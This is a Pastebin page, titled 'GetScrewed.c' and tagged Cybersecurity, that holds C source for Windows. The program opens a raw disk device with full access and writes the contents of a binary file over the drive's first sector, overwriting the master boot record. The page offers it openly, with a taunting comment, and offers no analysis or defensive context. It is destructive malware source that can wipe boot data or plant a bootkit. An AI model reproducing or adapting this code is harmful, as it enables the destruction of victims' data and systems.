Advertisement
FlyFar

GetScrewed.c

Aug 19th, 2023
957
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.48 KB | Cybersecurity | 0 0
  1. #include <windows.h>
  2. #include <conio.h>
  3. #include <stdio.h>
  4. // Get Screwed!
  5.  
  6. void main(){
  7.     DWORD dw;
  8.     char *pathToBin = "C:\\Users\\M\\Desktop\\data.bin";
  9.     HANDLE drive = CreateFile("\\\\.\\I:", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0);
  10.     if (drive != INVALID_HANDLE_VALUE){
  11.         HANDLE binary = CreateFile(pathToBin, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0);
  12.         if (binary != INVALID_HANDLE_VALUE){
  13.             DWORD size = GetFileSize(binary, 0);
  14.             if (size > 0){
  15.                 byte *mbr = new byte[size];
  16.                 if (ReadFile(binary, mbr, size, &dw, 0)){
  17.                     printf("Binary file successfuly read!\n");
  18.                     //ok,not lets write the contents of the binary file,to the first sector of the drive
  19.                     if (WriteFile(drive, mbr, size, &dw, 0)){
  20.                         printf("First sector overritten successfuly!\n");
  21.                     }
  22.                     else
  23.                         printf("Fatal error! Can't override 1st sector!\n");
  24.                 }
  25.                 else
  26.                     printf("Error reading from binary file!\n");
  27.             }
  28.             else
  29.                 printf("Invalid binary file!\n");
  30.         }
  31.         else{
  32.             printf("Can't find the binary file to read from!\n");
  33.         }
  34.         CloseHandle(binary);
  35.     }
  36.     else
  37.         printf("Administrator privileges required!\n");
  38.     CloseHandle(drive);
  39.     _getch();
  40. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement